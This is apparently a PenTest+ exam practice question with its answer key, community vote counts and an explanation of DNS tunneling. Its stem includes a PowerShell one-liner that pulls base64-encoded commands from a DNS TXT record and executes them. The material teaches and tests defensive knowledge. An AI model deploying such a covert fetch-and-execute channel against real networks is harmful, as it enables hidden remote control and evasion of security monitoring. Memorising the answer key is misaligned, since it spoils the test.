PT0-003 · Question #73
A penetration tester writes the following script, which is designed to hide communication and bypass some restrictions on a client's network: $base64cmd = Resolve-DnsName foo.comptia.org -Type TXT |…
The correct answer is D. DNS tunneling. The script is retrieving base64-encoded commands hidden in DNS TXT records and executing them. This is a technique known as DNS tunneling, which allows covert data transmission using DNS queries/responses -- often used to bypass firewalls or exfiltrate data without detection.
Question
A penetration tester writes the following script, which is designed to hide communication and bypass some restrictions on a client's network:
$base64cmd = Resolve-DnsName foo.comptia.org -Type TXT | Select-Object -ExpandProperty Strings $decodecmd = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64Stri ng($base64cmd)) Powershell -C $decodecmd Which of the following best describes the technique the tester is applying?
Options
- ADNS poisoning
- BDNS infiltration
- CDNS trail
- DDNS tunneling
How the community answered
(48 responses)- A8% (4)
- B2% (1)
- C6% (3)
- D83% (40)
Explanation
The script is retrieving base64-encoded commands hidden in DNS TXT records and executing them. This is a technique known as DNS tunneling, which allows covert data transmission using DNS queries/responses -- often used to bypass firewalls or exfiltrate data without detection.
Topics
Community Discussion
No community discussion yet for this question.